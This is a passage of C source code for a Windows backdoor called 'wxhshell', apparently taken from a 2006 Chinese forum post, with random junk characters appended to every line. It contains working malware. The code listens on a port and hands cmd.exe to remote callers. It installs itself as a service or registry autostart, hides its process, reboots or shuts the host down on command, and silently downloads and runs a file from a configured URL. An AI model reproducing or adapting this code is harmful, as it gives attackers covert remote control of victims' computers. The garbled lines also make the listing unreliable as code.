    break; ^*~u4app  
  } _EBDv0s  
  // 安装 lkJ#$Ik&  
  case 'i': { Vy"^]5  
    if(Install()) !(AFT!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MvwJ(3  
    else jc.Uh9Kc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dM;WG;8e  
    break; 1+ARV&bc  
    } Dve5m=  
  // 卸载 I6 Q_A  
  case 'r': { 745V!#3!M  
    if(Uninstall()) RloPP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 03jBN2[!  
    else 5|={1Lp24g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0'2{[xF  
    break; :1  
    } P VW9iT+c  
  // 显示 wxhshell 所在路径 nU#q@p)Xg  
  case 'p': { iSW73P;)  
    char svExeFile[MAX_PATH]; |*| a~t  
    strcpy(svExeFile,"\n\r"); ':>*=&  
      strcat(svExeFile,ExeFile); J]YN2{(x  
        send(wsh,svExeFile,strlen(svExeFile),0); PSw+E';  
    break; <Q~7a hF  
    } E|#R0n*  
  // 重启 QX3![;0F  
  case 'b': { a;6\T*iJ!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {Ag}P0% '  
    if(Boot(REBOOT)) P`v~L;f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -L<Pm(v&  
    else { hWe}(Ks  
    closesocket(wsh); L#N.pd  
    ExitThread(0); KPcuGJ  
    } r6_a%A*  
    break; =_:L wmI  
    } 6M|%nBN$|  
  // 关机 c<x6_H6[8  
  case 'd': { HcUz2Rm5XP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -+Dvyr  
    if(Boot(SHUTDOWN)) ^( VB5p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^$ bhmJYT  
    else { 9\0 K%LL  
    closesocket(wsh); ;z=C]kI6M  
    ExitThread(0); \Y 4Z Q"0Q  
    } X'4 Yofs  
    break; ]V("^.~$+C  
    } RN| ..zml  
  // 获取shell VMXXBa&  
  case 's': { pa73`Ca]  
    CmdShell(wsh); x)5v8kgf  
    closesocket(wsh); rl7Y=*Dv  
    ExitThread(0); ]vFmY  
    break; }w8AnaC  
  } aH"c0 A  
  // 退出 ?d)|vX3Uf  
  case 'x': { EKD>c$T^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?8m/]P/~  
    CloseIt(wsh); 6p{x2>2y[  
    break; []Ea0jYu  
    } nd1*e  
  // 离开 ,~iAoxD5jY  
  case 'q': { 0G 1o3[F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @>j \~<%  
    closesocket(wsh); c[7qnSH  
    WSACleanup(); dVfDS-v!  
    exit(1); DyZ90]N  
    break; %Q~Lk]B?t  
        } ::`wx@  
  } 0E[Se|!  
  } 4et#Q  
^)pY2t<^  
  // 提示信息 +60;z4y}w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rXX|?9 '  
} 1ouTZ'c?  
  } z\5Nni/~6D  
0wcWDE 9  
  return; Q[KR,k  
} Shd,{Z)-Tg  
}YO}LQ-|  
// shell模块句柄 w}b+vh^3Wy  
int CmdShell(SOCKET sock) Dw3! ibg  
{ Oc`fQqYy  
STARTUPINFO si; B E)l77=/  
ZeroMemory(&si,sizeof(si)); t_Wn<)XA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o3kj7U:'x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uNg.y$>CX  
PROCESS_INFORMATION ProcessInfo; {jI/9  
char cmdline[]="cmd"; 8< -Vkr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K gX)fj  
  return 0; e8 .bH#  
} q4N$.hpb  
7 '/&mX>  
// 自身启动模式 Hyg?as>}u  
int StartFromService(void) 1gJ!!SHPo  
{ < i|+p1t  
typedef struct 9=f'sqIPV  
{ Nj\WvKG  
  DWORD ExitStatus; =x}/q4}L  
  DWORD PebBaseAddress; `-\ "p;Hp0  
  DWORD AffinityMask; CcTJCuOS  
  DWORD BasePriority; 4+gA/<  
  ULONG UniqueProcessId; Wg1WY}zG  
  ULONG InheritedFromUniqueProcessId; Y<XDR:]A,  
}   PROCESS_BASIC_INFORMATION; |9 3%,  
wP9C\W;  
PROCNTQSIP NtQueryInformationProcess; '=@x2`U/  
NU[{oI<a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BoqW;SG$9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r%9Sx:F  
! N p  
  HANDLE             hProcess; oH0\6:S  
  PROCESS_BASIC_INFORMATION pbi; )%7A. UO)  
enj2xye%Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %9.KH  
  if(NULL == hInst ) return 0; AF-.Nwp   
R YNz TA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H>]x<#uz)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =$Z'F<|d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~Zm(p*\T  
E \RU[  
  if (!NtQueryInformationProcess) return 0; KI{u:Lbi  
hl+Yr)0\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >Z%^|S9  
  if(!hProcess) return 0; :xV&%Qa1  
4 #N#[;M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /a_|oCeC}  
eC-TZH@  
  CloseHandle(hProcess); P +SCX#{y  
T Bco  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |D~MS`~qd5  
if(hProcess==NULL) return 0; r.GjM#X  
I}=}S"v  
HMODULE hMod; [% jg;m  
char procName[255]; ZU|nKt<GK  
unsigned long cbNeeded; 5a/)|  
h(sD]N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cPXvT Vvs  
iR-O6*PTC  
  CloseHandle(hProcess); QWkw$mcf  
k <qQ+\X  
if(strstr(procName,"services")) return 1; // 以服务启动 MqqS3   
a#1X)ot  
  return 0; // 注册表启动 AN;?`AM;  
} WA/\x  
BhjXNf9[  
// 主模块 ^:0?R/A  
int StartWxhshell(LPSTR lpCmdLine) `3-j%H2R  
{ dXj.e4,m  
  SOCKET wsl; wK_}`6R/  
BOOL val=TRUE; CHz(wn  
  int port=0; *Pl[a1=o  
  struct sockaddr_in door; ?r+tU  
9HE)!Col  
  if(wscfg.ws_autoins) Install(); SYL$ ?kl  
UnPSJ]VW  
port=atoi(lpCmdLine); "J9+~)e^!  
SXL6)pX  
if(port<=0) port=wscfg.ws_port; pV!(#45~W  
8yo9$~u;  
  WSADATA data; $ ]HIYYs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Du/s  
Wac8x%J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZDf9Npe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wmIq{CXx,  
  door.sin_family = AF_INET; + |,CIl+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,y.0 Cb0  
  door.sin_port = htons(port); (Gc5l MiX3  
5?O"N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =pNkS1ey  
closesocket(wsl); r\] WDX!`  
return 1; Z Uh<2F  
} {1Qwwhov  
S92Dvw?  
  if(listen(wsl,2) == INVALID_SOCKET) { }&j&T9oX  
closesocket(wsl); zehF/HBzE  
return 1; m^7pbJ\|  
} 7mN?;X33  
  Wxhshell(wsl); )mEF_ &  
  WSACleanup(); uzo}?X#  
$lqV(s  
return 0; jmIP c3O0  
QNo}nl /N  
} <L-L}\-I"  
P(4[<'H O  
// 以NT服务方式启动 O ?4V($  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q,$x6YwE  
{ ;i]cmy  
DWORD   status = 0; R Q 8okA  
  DWORD   specificError = 0xfffffff; 5s>9v  
MS b{ve_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =Yfs=+O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v=4TU \b%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }S&{ &gh  
  serviceStatus.dwWin32ExitCode     = 0; CUG6|qu  
  serviceStatus.dwServiceSpecificExitCode = 0; q8oEb  
  serviceStatus.dwCheckPoint       = 0; 1@y?OWC  
  serviceStatus.dwWaitHint       = 0; xQ[YQ!l  
~EN@$N^h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v<) }T5~r  
  if (hServiceStatusHandle==0) return; )Q8Q#S  
ei5S<n  
status = GetLastError(); itP_Vxo/H  
  if (status!=NO_ERROR) K5KN}sRs"  
{ __9673y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8,R]R=  
    serviceStatus.dwCheckPoint       = 0; *w _j;  
    serviceStatus.dwWaitHint       = 0; Li'T{0)1)  
    serviceStatus.dwWin32ExitCode     = status; ``SjALf  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7Ctm({I-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E,rPM  
    return; )#Id 2b~  
  } UJZa1p@L  
{R#nGsrt;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IP >An8+  
  serviceStatus.dwCheckPoint       = 0; n Au>i<  
  serviceStatus.dwWaitHint       = 0; Rl(b tr1w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XBc+_=)$  
} }bHpFe  
"mOoGy, (  
// 处理NT服务事件,比如:启动、停止 ]D%[GO//!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !nu['6I%  
{ i2*nYd`K  
switch(fdwControl) /L~*FQQK>  
{ Ne[O9D 7  
case SERVICE_CONTROL_STOP: Q.fBuF  
  serviceStatus.dwWin32ExitCode = 0; ^_oLhNoez2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;A C] *  
  serviceStatus.dwCheckPoint   = 0; 0'~ ?u'  
  serviceStatus.dwWaitHint     = 0; D|S)/o6  
  { 6R<%. -qr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A +p}oY '  
  } P8EGd}2{8  
  return; mZ5UaSG  
case SERVICE_CONTROL_PAUSE: 7#&s G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4qMHVPJv\  
  break; ge` J>2  
case SERVICE_CONTROL_CONTINUE: ZN?(lt)u9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vQ h'C.  
  break; %>bwpN  
case SERVICE_CONTROL_INTERROGATE: xXbW6aI"  
  break; QQw^c1@  
}; vi2xonq^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =SdWU}xn2  
} XyIw5 9  
A(uN=r@O  
// 标准应用程序主函数 <L`R!}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .UDZW*  
{ b:JOR@O  
*dTw$T#  
// 获取操作系统版本 1Zecl);O{  
OsIsNt=GetOsVer(); A#i-C+"}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2H /a&uo@n  
e p^0Cd/  
  // 从命令行安装 5x: XXj"  
  if(strpbrk(lpCmdLine,"iI")) Install(); lC2xl(#!  
OU##A:gI  
  // 下载执行文件 nYe}d!  
if(wscfg.ws_downexe) { |EApKxaKD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A~6 Cs  
  WinExec(wscfg.ws_filenam,SW_HIDE); F,W(H@ ~x  
} H^s SHj  
\uaJw\EZ  
if(!OsIsNt) { lN&GfPP6  
// 如果时win9x,隐藏进程并且设置为注册表启动 zEGwQp<  
HideProc(); iaC$K@a{  
StartWxhshell(lpCmdLine); q8D1MEBL`  
} [brrziZ  
else @!S$gTz  
  if(StartFromService()) EAI[J&c  
  // 以服务方式启动 +2g3%c0}  
  StartServiceCtrlDispatcher(DispatchTable); zPXd]jIwV  
else #=tWCxf=  
  // 普通方式启动 Z\Q7#dl  
  StartWxhshell(lpCmdLine); c1/x,1LnMf  
uqnZ  
return 0; 0eLK9u3<  
}
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只看该作者 1 发表于: 2006-10-10
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